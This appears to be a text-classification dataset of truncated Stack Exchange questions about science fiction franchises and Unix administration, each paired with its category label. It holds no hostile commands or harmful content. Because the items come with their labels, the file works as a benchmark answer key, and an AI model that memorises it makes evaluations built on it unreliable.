Avengers Vs X-men ties in with several different comics lines, namely Wolverine and the X-Men and Secret Avengers. Beast is listed as a current member of both of these factions. Now, I ... ",['scifi'] "Title: Why or how did Agen Kolar and Saesee Tiin seem to die so easily without any resistance? Body: When Mace Windu and the 3 other Jedi Masters confront Chancellor Palpatine as the Sith Lord. Darth Sidious unveils himself and attacks the jedi and in one move he takes out Agen Kolar who wasn't even ... ",['scifi'] "Title: What causes the stargate to sometimes open instantly? Body: In many random occurrences of Stargate SG-1, the stargate can seemingly open instantly while other times it appears to slowly light up random symbols before a wormhole opens. I am referring ... ",['scifi'] "Title: Trying to identify a story about breaking out of a predefined path and no one notices Body: I vaugely remember reading a short story many years ago where something happens and the protagonist gets a bit ""out of step"" with the rest of the world. Everyone else keeps acting as if he's still ... ",['scifi'] "Title: What prevents the Wizarding world from knowing about everyday muggle type things? Body: Mr. Weasley studies muggles, yet struggles to understand their non-magical items. Hagrid is ignorant regarding soccer. When the need arises they are quick to adjust muggle memories when the muggles ... ",['scifi'] "Title: What kinds or Kryptonite are still in circulation? Body: In researching this question I came upon a problem. Multiple places said that only Green existed post-crisis (*current version of the DC universe?), but others stated other types. I could not pin down ... ",['scifi'] "Title: Did Qordis really know of Bane's secret training? Body: While Bane was training at the Sith academy he lost his connection to the force, after being beaten by Sirak, and began training secretly with Githany and Kas'im. Later on, Qordis said he knew about ... ",['scifi'] "Title: Why did a lab-grown human not have a navel? Body: In a previous question, I asked why Kyle XY did not have a navel. According to the answer, it seems that this was because he was grown in a lab. However, I still see no reason for why a human being ... ",['scifi'] "Title: Why couldn't the Jedi detect Senator Palpatine as having powers? Body: In Return of the Jedi, when trying to sneak into the base on a shuttle, Luke said he senses Darth Vader's presence and said he shouldn't have come less he jeopardize the mission. Darth Vader also ... ",['scifi'] "Title: What's the name this sci-fi story with a wall that cannot be crossed? Body: In this story, the characters live in a world with a wall that cannot be crossed. One day someone finds a way to get to the other side and discovers that as he's getting away from the wall and further ... ",['scifi'] "Title: Does 'Magic' exist in Farscape, and if so is it supernatural? Body: Several characters are seen performing what appears to be magic: Zhaan in general Nillam in ""Vitas Mortis"" Maldis in That Old Black Magic and Picture If You Will Now, to my knowledge unlike other ... ",['scifi'] "Title: When & How did Yoda come to know about rule of two? Body: At the very end of Star Wars Episode 1: The Phantom Menace movie, Mace Windu and Yoda had this conversation: Mace Windu: There is no doubt. The mysterious warrior was a Sith. Yoda: Always two ... ",['scifi'] "Title: Why did Palpatine order Anakin to kill Count Dooku when Anakin was not yet turned to the Dark Side? Body: This follows from this question: Does the Rule of Two Serve any Actual Purpose? , Darth Bane came up with the Rule of Two to ensure the survival of the Sith. The answer to that question says: ... ",['scifi'] "Title: How did Felice become a bird? Body: In Julian May's Saga of Pliocene Exile, at the very beginning of The Nonborn King Felice was described as a raven: Perched on a lone tree in the midst of the blooming savanna, the raven watched a ... ",['scifi'] "Title: How long is a Farscape cycle exactly? Body: I was checking the List of races in Farscape wikipedia article and they refers time as ""cycle"". continuing my research, I found this vague mention : Leviathans can live about 300 cycles (slightly ... ",['scifi'] "Title: A book where animals are named after instruments Body: I was listening to one of the sci-fi radio links on either Live365 or George Norrie or BOA... It is written by a religious (catholic or christian) teacher (make). It is a sci-fi book where animals are ... ",['scifi'] "Title: Can Laser Weapons Work Under Water? Body: Can a laser or laser beam travel through water? I saw a battle scene in Star Wars: The Clone Wars, season 4, episodes 1 and 2 where they are exchanging laser blasters. Though I don't know anything ... ",['scifi'] "Title: Why do the Xenomorphs (aliens) in the movie Alien seep slime all over the place all the time? Body: Why do the Aliens constantly seep slime out of all their body parts all the time? How could they drink enough liquids on a barren planet to have enough moisture in their bodies to leak all over all ... ",['scifi'] "Title: What is the purpose of the Captain's Yacht on Sovereign class starships? Body: The USS Enterprise-E, which was a Sovereign class, had a Captain's Yacht. Even Galaxy and Intrepid class vessels are 'supposed' to have these, but they are never seen or heard about on screen. What ... ",['scifi'] "Title: Kinetic Barriers in Mass effect Body: Prevalant in the Mass Effect Universe are the kinetic shields. These are able to protect the wearer by absorbing the damage caused by high velocity particles from lets say, an assault rifle for a ... ",['scifi'] "Title: Why don't spider webs work in space? Body: In the latest Amazing Spider-Man comic (#682), Spider-Man goes of to space and finds himself unable to operate his spinnerets inside the space station, even though there is air remaining. Is there any ... ",['scifi'] "Title: What happened to Doctor Octopus? Body: I'm used to Doctor Octopus looking like this: Except in the most recent comic I've seen featuring him, he appears for more disfigured, with a breathing mask and tubes: I realise that he was ... ",['scifi'] "Title: Is there any reference/mention of Ayn Rand/objectivism in Heinlein's books? Body: Heinlein is considered a fairly ""libertarian-leaning"" author. Were there many mentions or references in his his works of either Ayn Rand, her works/heroes, or Objectivism (explicit mentions, not ... ",['scifi'] "Title: How did Han modify his weapon? Body: Han Solo supposedly illegally modified his blaster. I can't find a reference on the web for this. If he did, how did he modify it and why was it illegal to do so? ",['scifi'] "Title: Name of a sci-fi short story about time travel Body: Please help me identify a short story about time travel. It is set during the last ice age as a modern man is living among a small community of early humans and is told to kill one of the last ... ",['scifi'] "Title: Movie (or TV show) story with haunted house and organ playing Body: I was trying to remember some strange story I saw as a kid. It was on TV, but it don't remember if it was a TV show or a movie. I remember that the camera work was in color, and had that weird ... ",['scifi'] "Title: Is Serenity based on Joss Whedon's game of traveller? Body: Internet rumours abound that Joss Whedon's Firefly series is based on the RPG Traveller, first released in 1977. The game itself is about living hand-to-mouth, trying to pay off debts by trading ... ",['scifi'] "Title: What Star Trek TNG episode do I vaguely recall from childhood? Body: My mom was a big Trekkie while I was growing up. Not just any Trek, mind you, but specifically TNG (and then later Voyager). I vaguely recall watching part of an episode at a young age, that left me ... ",['scifi'] "Title: Is Borg assimilation nanotechnological or surgical? Body: Different episodes of different Star Trek shows portray assimilation in different ways -- in early episodes, it was a horrific surgical process but later episodes implied that all it took was ... ",['scifi'] "Title: Was Wesley Crusher referred to as an Acting Ensign before Where No One Has Gone Before? Body: I have been watching Star Trek: TNG from the beginning, and I remember a scene where Wesley makes an offhand comment about him being an acting ensign before Picard officially makes him one. Which ... ",['scifi'] "Title: Is there really sound in space? [duplicate] Body: Possible Duplicate: Why and how can you hear explosions in space in Star Wars? In firefly they were specific in all of the outer space scenes there was no sound which some people complained ... ",['scifi'] "Title: Are there wizarding schools in the rest of the “magical” world? Body: Are there other schools for witches and wizards in the rest of the world? In the books they only speak of 3 schools, but what about Asian or American people? And even more, were they affected by the ... ",['scifi'] "Title: Are the screen-headed robots organic? Body: In Saga #1, there appear at least three TV screen-headed ""robots"": The second of the two (aptly named Prince Robot IV) engages in some reproductive activities that are typically not ... ",['scifi'] "Title: Does Venus De Milo appear again? Body: Venus was a female Ninja turtle who appeared in Ninja Turtles: The Next Mutation. I know that she is now banned from ever appearing again. Has this ban held? Or did she ever appear in the Comics or ... ",['scifi'] "Title: What motivated Laird to retcon Venus in Teenage Mutant Ninja Turtles? Body: Wikipedia explains this character best Venus de Milo was a female Ninja turtle who appeared in Ninja Turtles: The Next Mutation. In a 2007 interview director Kevin Munroe elaborated on the ... ",['scifi'] "Title: Which X-Men story arc shows the team investigating a radio blackspot in China? Body: I'm trying to track down a comic book story arc I had one piece from. I remember it had an X-Men team in china, with Armor on the roster. They'd found a radio blackspot, and went in to investigate. ... ",['scifi'] "Title: Why can't Transporter technology be used as a weapon? Body: Seems like this is the most powerful weapon of all: transport your enemy into a bulkhead, planet, etc. Transport your enemy's ship inside a planet, etc. Is there some technical reason that it can not ... ",['scifi'] "Title: Do Earth religions persist in Star Trek? Body: We see that in DS9 the Bajoran religion is alive and kicking, but I've never seen any mention of a religion that came from Earth, or one practiced by humans. Are any of Earth's religions still ... ",['scifi'] "Title: Are mutant powers hereditary? Body: According to ""X-Men Origins: Wolverine"" Wolverine and his half brother victor share the same healing powers, or pretty close to the same powers. I read somewhere on this site that Logan also has a ... ",['scifi'] "Title: What is the history between Q and Guinan? Body: In ""Q Who?,"" Q is introduced to ""Guinan"" in the Enterprise-D's Ten-Forward lounge. He then says: ""'Guinan' – is that your name now?"" He claims that Guinan, ""is not what she appears to be."" As well, ... ",['scifi'] "Title: Was Superman Romantically Involved With Any Females Without the Initials “L.L.”? Body: A question that was asked recently and that I really enjoyed is: How many female romantic interests with initials ""L.L."" were there in Superman's life? I wanted to expand on this and ... ",['scifi'] "Title: Why was paper-based technology adopted on 23rd century starship? Body: In the 22nd century, there wasn't any paper-based technology on board USS Enterprise NX-01. Tablets were everywhere. Even for reporting, analyses were filed digitally. They even had a Microsoft ... ",['scifi'] "Title: What happened to Voldemort's body? Body: At the start of Harry Potter and the Philosopher's/Sorceror's Stone Voldemort's Killing Curse backfires leaving Harry with his scar and Voldemort as a loose soul, self-described as ""Less than a ... ",['scifi'] "Title: What would happen if a vampire compels someone who doesn't understand his/her language? Body: Generally, when a vampire compels someone, their eye pupil becomes large & victim listens vampire to follow exactly what he/she said. What will happen if victim is unable to understand language of ... ",['scifi'] "Title: What is a good starting point to read about Wolverine and the X-Men? Body: Can someone direct me to which comic or series of comics to start reading so I can understand Logan's story line better? Is there an order I should be reading the comics in? Is the X-Men story over? ... ",['scifi'] "Title: Where Did Wormtail Hide Voldemort's Wand? Body: Is there verification either in canon or from J.K. Rowling as to where Wormtail hid Voldemort's wand during the thirteen years Voldemort was disembodied? I've read through the chapters The Death ... ",['scifi'] "Title: Were Gnostics/Gnosticism a recurring religion in Heinlein's work? Body: Jelly glanced over at Sergeant Migliaccio, first section leader. ""Five minutes for the Padre,"" he stated. Some of the boys dropped out of ranks, went over and knelt in front of Migliaccio, ... ",['scifi'] "Title: Predatory aliens & emotional brinksmanship Body: I read a novel years back about a human serving a predatory alien race. The aliens have an almost uncontrollable temper, and prestige is gained or lost by success in pushing adversaries almost to the ... ",['scifi'] "Title: What exactly constitutes a Holy Ground in Highlander canon? Body: What exactly constitutes a Holy Ground in Highlander canon? Most that I recall seem to be Christian burial places, but some were non-christian burial places. But pretty much ANY place is a burial ... ",['scifi'] "Title: Is Gandalf the Gray's power actually limited or did he merely promise to not use it? Body: We know that Maiar sent to Arda as Istari are not using their full Maiar power. Gandalf the Gray is more than a human power wise, but not nearly equal to his full real power. Is it known (from canon) ... ",['scifi'] "Title: Could Wolverine survive a nuclear bomb? Body: According to the Marvel wiki on adamantium , A sufficient amount is capable of surviving multiple nuclear explosions with no damage. And an answer on another question here says that Wolverine ... ",['scifi'] "Title: Did Saruman or Wormtongue cast a spell on Theoden? Body: Did Wormtongue cast a spell on Theoden, or administer potions from Saruman, or was it just his (deliberately) bad counsel that caused Theoden to sink into dotage before Gandalf healed him? In the ... ",['scifi'] "Title: Why doesn't Professor Xavier use Wolverine's healing power to fix his legs? Body: Why hasn't Professor X used Wolverine's DNA to heal his spine, or whatever injury caused him to be unable to use his legs. If Stryker can put DNA (with powers) into anyone, why doesn't Professor X, ... ",['scifi'] "Title: How is Gandalf the White a “significantly more powerful figure” than Gandalf the Gray? Body: After his fight with the Balrog of Moria, Gandalf changed: Gandalf was sent back as a significantly more powerful figure; Gandalf the White. - ... ",['scifi'] "Title: Are the Matrix webcomics canon? Body: Are the Matrix webcomics (especially ""Day In.. Day Out"") canon according to Wachowski brothers or anyone else officially involved in Matrix production? This came up from one of the answers to a ... ",['scifi'] "Title: In the Alien franchise is there ever an explanation for the simplicity of the computers? Body: Beyond the limits of the technology of the real-world at the time the first film was made, has the seemingly low complexity of the computer interfaces ever been effectively retconned? For example, in ... ",['scifi'] "Title: Was Andúril a Stronger or Weaker Sword Than Narsil? Body: Andúril was forged from the two pieces of Narsil -- would it be a stronger or weaker sword than Narsil, being forged into one from two broken halves? In terms of pure mechanics, I can't imagine the ... ",['scifi'] "Title: Why did the Xindi council reject using the bioweapon against humans? Body: In Star Trek: Enterprise, the Xindi Reptilians secretly went into Earth's past to destroy humans using a bioweapon. They did this secretly because Xindi council rejected the use of this bioweapon. ... ",['scifi'] "Title: What's the minimum age required to be a Jedi? Body: I'm clueless about the Jedi, and I wanted to know - can you be a Jedi at fifteen? When you started training at five? If your midichlorian count is 13,200? How old do you at least have to be to be a ... ",['scifi'] "Title: Do Balrogs Have Wings? Body: Apparently there is controversy over whether a Balrog has wings, either literal or figurative. Do Balrogs have working, usable wings? NOTE: I prefer an answer based on LOTR canon, meaning the books ... ",['scifi'] "Title: Why are there only three agents at a time in the Matrix? Body: In all of the Matrix movies, we only see three agents at a time (Brown, Jones and Smith in the original and Jackson, Johnson and Thompson in the sequels). See: http://matrix.wikia.com/wiki/Agent). ... ",['scifi'] "Title: How to integrate a multiline awk script in a shell script Body: I am a beginner in shell scripting and my question is a continuation of How to parse a file to extract 3 digits numbers kept in a ""group number"" I am trying to integrate in a single shell ... ",['unix'] "Title: How to pass parameters from %prep to %build? Body: I have the following problem: In the %prep, I run a command that returns a value. I want to be able to use this value in the %build. I was not able to do it with macros, because %global gets its ... ",['unix'] "Title: Is it OK to store /var/tmp on a SSD? [duplicate] Body: I have read that you should not store /tmp on a SSD, because the frequent writes will shorten the lifetime of the SSD. But what about /var/tmp? Is it reasonable for /var/tmp to be stored on a SSD? ... ",['unix'] "Title: Can't play DVDs on Linux Ubuntu laptop Body: I can't play a DVD on my Ubuntu laptop. I've tried VLC. A window with a traffic cone opens and the Drive spins for a short time, then stops. Nothing else happens. ",['unix'] "Title: Incorrect step with grub while installing onto a USB stick? Body: I tried installing debian on a USB stick. I believed I made a mistake with the grub boot up part. I want to leave my harddrives alone and with my bios choose to boot up from a stick. Do I need grub if ... ",['unix'] "Title: Mount a device as another user Body: Is there a command (on Debian Wheezy) that a testuser that belongs only to the group testuser can run (maybe he needs to be listed in sudoers first) in order to mount a USB stick as if he belonged to ... ",['unix'] "Title: What does ampersand mean at the end of a shell script line? Body: sh sys-snap.sh & What is sh? What is sys-snap.sh? Why I should put & at the end of the line? Can anyone explain the syntax? Without the & the script won't go back to the prompt till I ... ",['unix'] "Title: Application displaying latest blog posts on desktop Body: Is there an application for Linux which is able to put rss feed directly on desktop? I've seen lots of standalone programs, but I'd like to have a window in the corner of my desktop always showing ... ",['unix'] "Title: Why is bash interpreting characters that I have character escaped? [duplicate] Body: Why is it that when I run curl against a REST API, the special characters (!) in my key are interpreted by the shell? curl https://foo.my.salesforce.com/services/data/v28.0/ -H ""Authorization: ... ",['unix'] "Title: Obtain the “pretty” hostname in bash Body: On my Fedora 19 system, I am able to change the system hostname with hostnamectl. This allows me to set several things, such as the static (normal) hostname, as well as a ""pretty"" hostname. Is there ... ",['unix'] "Title: Strange behavior automating with “make -f” Body: I have a set of directories, some of which contain makefiles, and some of the makefiles have clean targets. In the parent directory, I have a simple script: #!/bin/bash for f in *; do if [[ ... ",['unix'] "Title: Find out screen id Body: I want to start a program with SSH using PHP, which works fine, but now I want to kill the screen with PHP, but the only thing I know is the name of the screen. How do I find out the screen ID ... ",['unix'] "Title: Some UTF-8 characters not being recognized by grep or sed Body: Trying to determine all characters in a file. The file sample consists of: a eɪ abandon əˈbændən ability əˈbɪləti able ˈeɪbəl able ˈeɪbl abortion əˈbɔrʃən abortion əˈbɔrʃn about əˈbaʊt above əˈbʌv ... ",['unix'] "Title: base64 encoded e-mails and compression Body: I sent an e-mail which included almost 2500 characters of text and one attached 60KiB PNG file. This text included number 185 eight times. However, after the e-mail was encoded to base64 and sent, I'm ... ",['unix'] "Title: Issues mounting a NTFS share on Centos 6.3 Body: We have a web server running on Centos 6.3 and we intend to mount a shared Windows drive (Windows 2008) so that we can do our daily backups on to the shared drive. This is how I am mounting the drive ... ",['unix'] "Title: custom crontab not work (freebsd) Body: I created file crontab.custom with: */1 * * * * /home/username/data/www/run.sh run.sh contains: php script.php After this I run this command: crontab crontab.custom Now crontab -l returns my task. ... ",['unix'] "Title: Why doesn't “ping -l” works when ping works? Body: Bye all, ping AddressIp 64 bytes from indirizzoIp: icmp_req=1 ttl=42 time=149 ms while if ping AddressIp -l 1400 ping: cannot set preload to value > 3 ping AddressIp -t -l 1400 ping: can't ... ",['unix'] "Title: C# How to Serialize System.Linq.Expressions? [migrated] Body: I am working on winRT and entity framework (to SQL), the layer that communicates between them is WCF Service. In the entity framework I am using the Repository Pattern and I have the method: ... ",['unix'] "Title: How to add crontab in FreeBSD Body: I am trying to add a job to my crontab in FreeBSD but it is not working : I have used this to add the job: sudo crontab -e -u vaibhav @daily /home/vaibhav/applications/comparison/scrapy but it is ... ",['unix'] "Title: LXC: Have rootfs mounted without nosuid Body: I have the container's rootfs in a volume mounted with the nosuid option. When I start the container, its / mounted is then also mounted nosuid, which breaks programs such as sudo. How can I avoid ... ",['unix'] "Title: Converting from ascii to utf-8 format - iconv not working [closed] Body: I have a requirement to convert from ASCII text format to UTF-8. Below is what I am performing through the iconv command: [root@main tmp]# cat File1 1 5 6 [root@main tmp]# file File1 File1: ASCII ... ",['unix'] "Title: Loop Mounting in Parallel Body: I am doing a project in which I need to mount 100+ loop devices and merge it into AUFS mountpoint As an observation, for sequentially mounting 90 loop devices, it takes 25 seconds. I am looking for ... ",['unix'] "Title: How to attach my domain with bind in real www Body: How to attach my domain with bind in real wwwI install bind9, with apache. By God's very grace every thing went smooth. my dig, host, nslookup and ping provide this info: my system ip address: ... ",['unix'] "Title: Use virt-manager to share files between Linux host and Windows guest? Body: Is it possible to use ""Filesystem Passthrough"" virtual hardware option inside virt-manager to share a folder on my Linux host with my Windows guest? I found some tutorials for how to do this with a ... ",['unix'] "Title: Diagnosing a freezing system, or renderer Body: Some quick background, I am running Fedora 19 x86_64 on a Dell Latitude with a 2nd gen i7 and discrete nvidia graphics card. I have some rather obnoxious problems where the screen doesn't seem to ... ",['unix'] "Title: Cannot access ubuntu server from other machines other than the machine which is hosting the virtual machine which is my ubuntu server [closed] Body: I created a ubuntu server on vmware. I am using it as a file server. I can access it if I am connecting through the machine which hosts the virtual machine. I am not able to do it from other machines ... ",['unix'] "Title: Confused on user and su in linux Body: How could I run a script as a specific user (non-root)? As this? sudo su - john /usr/share/script.pl for user john? ",['unix'] "Title: Gentoo 3.8.13 x86_64 Update problem Body: I am trying to perform full system update for my Gentoo 3.8.13 x86_64 emerge --update --deep --with-bdeps=y --newuse world But I am getting the following error !!! Problem resolving dependencies ... ",['unix'] "Title: startx error doesn't load from terminal Body: I have installed GNOME v2 in my freebsd but when I try to do startx it gives the following error. Please Help. ",['unix'] "Title: Firefox seems fully loaded, but browser window does not appear for minutes Body: I think this started since the last Firefox update a few days ago, but I might be mistaken. The first time I noticed the problem was a few days ago anyway. What I do: Click the Firefox icon Wait. ... ",['unix'] "Title: Rsync and take name/path changes into account [duplicate] Body: I maintain a large folder, and this folder is regularly rsync'ed to another folder far away. Sometimes I change a name on my local folder, and then the next time I rsync to the remote folder the ... ",['unix'] "Title: if condition, loop in grep [closed] Body: Could someone please provide help for me. I tried to start writing a shell script but am getting hung up with this issue. I need to grep commands ""adb shell ps"" and find in it 3 processes with names: ... ",['unix'] "Title: WordPress on LinuxMint: Can't create directory (or write file) Body: I run Linux Mint, with Apache2, PHP and MySQL. I've activated modules for Apache so that users' public_html can be used and that PHP-scripts can be run from them. I installed WordPress in my ... ",['unix'] "Title: NFS attribute caching (actimeo) ignored for symbolic links? Body: We have a project with 10000+ domains, each has its own document root and a relative symbolic link to the shared libraries on the same NFS share. We have seen a huge number of GETATTR NFS requests ... ",['unix'] "Title: What is the pipe character “x|y)” in the case statement? Body: In a script /etc/network/if-up.d/avahi-autoipd in my system, I find statements like this: case ""$ADDRFAM"" in inet|NetworkManager) ;; *) exit 0 esac case ""$METHOD"" in static|dhcp|NetworkManager) ... ",['unix'] "Title: Debugging iptables using live packet views Body: Are there any CLI or GUI functions that I can use to monitor hits to iptables and watch as packets interact with iptables? ",['unix'] "Title: How to make apt recognize an installed tar package? Body: I've installed Oracle Java. I want to be able to remove OpenJDK, but when trying to do so apt wants to install another version of Java. How can I configure apt so that it knows I already have a ... ",['unix'] "Title: Beaglebone Black Device Tree for LCD4 cape Body: The device tree for LCD4 cape is located at /lib/firmware/BB-BONE-LCD4-01-00A1.dts When I looked into it, the declaration of those GPIO buttons confuse me. There are five buttons according to ... ",['unix'] "Title: ssh-agent not getting set up (SSH_AUTH_SOCK, SSH_AGENT_PID env vars not set) Body: I set up a new user account for a friend on Kubuntu 12.04. When he uses ssh he gets this error: Could not open a connection to your authentication agent We're running ssh in some bash scripts. ... ",['unix'] "Title: Graphical Interfaces cutomization and theming Body: I'm currently using Linux Mint 15, Cinnamon 1.8. I really like it except for the customization and theming part. In Widows 7, themes also affect the windows of programs or you can set colors. Is ... ",['unix'] "Title: How do I grant someone else access to my linux server Body: If you administer a Linux server, what steps do you take to properly grant someone else access? Assuming they will log in over ssh, don't already have an account, and will need root access. ... ",['unix'] "Title: EPG grabber card or hardware Body: May be i am asking a quite odd question or a question in error. I've searched a lot but didn't find anything about EPG grabber card. I need to ask if we are using any Set-of Box and want to plug a EPG ... ",['unix'] "Title: How can I add a signature .png to a PDF in Linux? Body: I have a scanned copy of my written signature and I need to apply it to some documents in the signature block. I used to do this on Windows all the time but I now have only Linux. Is this possible? ... ",['unix'] "Title: Variable declaration in parallel sh -c … Body: I've been trying to process the output of find with parallel, which in turn invoked a shell (some textual substitutions were needed). I observed some strange behaviour, which I cannot really explain ... ",['unix'] "Title: Installing CentOS and Kali as dual boot? Body: I'm going to install a machine with both CentOS and Kali. What are the steps to follow? Which should I install first CentOS or Kali? The issue I tried to run Kali as virtual machine however, it just ... ",['unix'] "Title: Virtualizing a Low End Virtual Server Body: I have started to teach the lesser fortunate children in my area about technology and computers in general. Some of them show some real promise and I'm planning to introduce them to Linux and Open ... ",['unix'] "Title: vim regex to search for lines containing string1 AND string2 Body: How in vim/vi can I search for all lines that contain string1 and string2, where either string can appear anywhere on the line separated by whitespace and possibly other words? I would also like to ... ",['unix'] "Title: Laptop running ~30° hotter than normal; CPU/Load is reportedly normal. What could cause this and how can I diagnose it? Body: I'm running the latest Arch Linux on my ThinkPad t420 laptop, and am having an intermittent heat problem where my temp will rise from the typical ~45°C to ~75-90°C, and stay there until I reboot. ... ",['unix'] "Title: Linux Kernel limit access to root with a button? Body: Is it possible to limit the access to a root account from within the kernel? I mean that if I press a button then the system detects the button being pressed and then allows access to the root ... ",['unix'] "Title: How do I install Solaris 10 on a Sunblade 150 machine using external DVD drive? Body: I want to install Solaris 10 on a Sunblade 150 Machine. It comes on a CD-ROM. Can I install it using an external DVD-drive? ",['unix'] "Title: How to terminate a hung process in SSH? Body: I have a SSH session with a VM running on Amazon AWS. One of the programs I had run hung up and froze the SSH terminal. So I hit Enter+~+. Now when I am trying to connect to my machine it says ... ",['unix'] "Title: can linux be configured to blink an LED (GPIO) on disk activity? Body: I'm hoping to blink an LED that is wired up to a GPIO line whenever the USB connected disk has activity is there an easy way to pull this off? ",['unix'] "Title: Debian - Boot from USB Body: I currently have Debian 7.0 installed on my laptop (HP Pavilion dv9700). I would now like to install Arch instead. I wrote the Arch ISO to a USB drive, but when I start up my computer, it ... ",['unix'] "Title: Pulling out keywords using standard command line utilities? Body: As an example, this is the pronunciation of ""when"" according to Wiktionary. enPR, IPA and X-SAMPA are different schemes for showing pronunciations. when:* {{a|US}} {{enPR|wĕn|hwĕn}}, ... ",['unix'] "Title: zcat a file line by line? [closed] Body: I have written a C++ application that reads files line by line. It reads one line, does processing, then reads the next line. I would like to add support for gzipped files, and am looking to an ... ",['unix'] "Title: Can't boot Debian with windows installed first Body: I have Windows XP already installed on my HD and I had some space left to install Debian. After I've installed Debian, I answered yes to the Grub bootloader but when booting the computer nothing ... ",['unix'] "Title: LAMP Hardening, Transparent Proxy with iptables Body: I'm running a LAMP server with FTP(S) and several users. The users have only access to uploading PHP files and other web content. Some are running Drupal and Wordpress, but also a few home made stuff. ... ",['unix'] "Title: Why can't pgrep find scripts started via env? Body: For example: $ cat foo.sh #!/usr/bin/env bash while true; do sleep 1 ; done $ ./foo.sh & $ pgrep foo.sh $ Contrast with: $ cat bar.sh #!/bin/bash while true; do sleep 1 ; done $ ./bar.sh & ... ",['unix'] "Title: Installing oracle in pendrive Linux Body: I am thinking of installing Pendrive Linux (Ubuntu 12.0), and after that I need to install Oracle in Ubuntu. Does that mean Oracle get installed on my Pendrive space or Windows Partition? I am using ... ",['unix'] "Title: Figuring out what OS is on which partition? Body: So I have both Ubuntu and Crunchbang installed on my laptop, and I'm trying to figure out which one is on which partition. I'm going to install another OS (probably BT) and need to know what ... ",['unix'] "Title: How do I debug strange wireless problem Body: I have a problem with my wireless connection, which drives me nuts. I have been testing with two different wireless usb adapters, one based on the ar9271- and the other rtl8192su-chipset, but they ... ",['unix'] "Title: Where does Linux store logs of WiFi networks when searching? Does it at all? Body: For research I wanted to try and keep a log of all the networks that my laptop sees (not connects connects to, but just gets a response from when searching) over a period of time walking around. I was ... ",['unix'] "Title: OpenIndiana Development Host (151a8 aka “hipster”) minihowto - is this all right? Body: I saw a similar post about Solaris and thought of a similar howto. I've heard of recent news (as in this summer) with the distribution and I learned I could easily update my initial OpenIndiana 151a7 ... ",['unix'] "Title: detect process that executes portscans Body: I have to administer an ubuntu 12.04 server, where there seem to go portscans to the whole subnet. How can I find out the process that does the scans? pstree init─┬─acpid ... ",['unix'] "Title: Split the content of a file in linux Body: I have a text file which has content like this: abc.tar^@xxx.tar^@yyy.tar^@ Say for example I have this content in a file named abc.txt and I want to split the content and write the first two ... ",['unix'] "Title: Command line error in OpenSUSE (old version) Body: I'm using an old version of OpenSUSE and when I try to update some package via the command line, e.g. Zypper update firefox it shows the message listed below. System management is locked by ... ",['unix'] "Title: Is it possible to have two seperate one way (simplex) serial ports to make single tty device? Body: I am building embeded device, which has IR comunication with PC and it will have two IR Led/detector pairs which are one-way and are setup like this: IR source input commands -> near embeded device ... ",['unix'] "Title: hadoop namenode host login issue Body: hduser1@bycb4y1:/$ ssh -p 9000 hadoop-namenode Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-23-generic x86_64) * Documentation: https://help.ubuntu.com/ Last login: Mon Aug 5 17:05:47 2013 from ... ",['unix'] "Title: Debian package very large compared to zip file Body: I've just made a debian package, when all the files are zipped together the size is 60 MB, however my .deb file made from the same directory is ~150 MB. Have I done something wrong or are there lots ... ",['unix'] "Title: How do I process ifconfig output to determine my link speed? Body: Here's script I wrote out of boredom, for download speed test: #!/bin/bash get_ispeed() { echo $(ifconfig eth0 | grep bytes | grep RX | cut -d ':' -f 2 | cut -d ' ' -f 1); } for((;;)); do ... ",['unix'] "Title: Compiling PHP and installing it under one directory Body: I have to compile a few versions of PHP in work but I need an apache service for each version running like we have on Windows. However the configure options seem to have different folders for ... ",['unix'] "Title: emacs meta key and Mint window manager Body: First, I'm not sure what window manager is running on my Mint installation. The ""Control Center"" yields no clues. Nevertheless - whatever I have is grabbing the emacs ""meta"" key (the option key on ... ",['unix'] "Title: Decrypting a file encrypted on a different system Body: My home server runs OpenBSD 5.3 with Samba serving files to several Windows machines. I wrote a script to backup video files by encrypting each file with openssl enc -aes-256-cbc and uploading it to ... ",['unix'] "Title: Unable to install Texmaker on Gentoo 3.8.13 Body: I am using Gentoo 3.8.13 x86_64. I am trying to install Texmaker but I am facing some problem. emerge -av texmaker These are the packages that would be merged, in order: Calculating dependencies... ... ",['unix'] "Title: how to escape unusual/uniq characters from expect scripts? Body: in expect script I can set any command or character to run it on remote machine but the sad thing is that expect cant send the same character as they defined in the expect script for example I want ... ",['unix'] "Title: Difference between a.out and ./a.out Body: My Confusion a.out is the output of the programs which I execute in my Ubuntu 12.10. In Red Hat system when I execute a.out in the terminal it executes. While in Ubuntu I have to execute ./a.out to ... ",['unix'] "Title: How to see process created by specific user in Unix/linux Body: I want to see list of process created by specific user or group of user in Linux Can I do it using ps command or is there any other command to achieve this? ",['unix'] "Title: How to remove lines included in one file from another file in bash? Body: I have two lists, a complete list and a partial list. I want a bash script that will search the complete list for any lines that are in the partial, if there are, they will be removed from the ... ",['unix'] "Title: dbus problem with caja when using chocolate-doom on Linux Mint 14 Body: I'm running Linux Mint 14 (Nadia) and I'm having a problem with chocolate-doom. When I run it, it changes the screen resolution but for some reason upsets caja (the file manager) like so (from ... ",['unix'] "Title: List all directories that do NOT have a file with a given file name inside Body: How would I go into listing all directories that do not have a file with a given file name inside? e.g. given this tree / /a README file001 file002 /b README file001 /c ... ",['unix'] "Title: How to find file/directory names that are the same, but with different capitalization/case? Body: How can I list the file/directory names in a directory recursively that are the same, but with different capitalization/case? ex.: INPUT (not the ls command, the directories): [user@localhost ... ",['unix'] "Title: Can I make a special file in linux that is actually the output of a script? [closed] Body: Can I make a special file in linux, perhaps using mknod, that is actually the output of a script? example: cat specialfile output: testing 123 inside specialfile: echo ""testing 123"" So instead ... ",['unix'] "Title: how to enable command history of shell Body: I am using ubuntu 13.04, in this the command history of the shell is getting erased on close. Can someone tell me how to prevent this from happening? ",['unix'] "Title: How can I move between words in the command prompt in tcsh in linux? Body: I want a feature like vim's going forward or backwards command (w,e,ge,b) etc in the shell prompt. I am using tcsh shell in Linux. I would like to go 'n' number of words backs or forward etc and do ... ",['unix'] "Title: How to disable respawn for terminal? Body: In old 5.3 rhel, we used to define the number of terminals and their respawn settings in /etc/inittab file as below. 1:2345:respawn:/sbin/mingetty tty1 1:2345:respawn:/sbin/mingetty tty2 ... ",['unix'] "Title: How can I `alias sudo !!`? Body: I'm trying to set an alias for sudo !! in Bash. I tried alias sbb='sudo !!', but it interprets that as a literal !! and prints sudo: !!: command not found If I use double quotes, it substitutes ... ",['unix'] "Title: Linking Ethernet interfaces Body: I'm quite new to Linux networking. I have a Debian PC with two Ethernet interfaces, one embedded on the motherboard and another on a PCI card. The first one, let say eth0 is connected to my router ... ",['unix'] "Title: Temporarily change time Body: I need to test aspects of my software that only happen at certain times of the 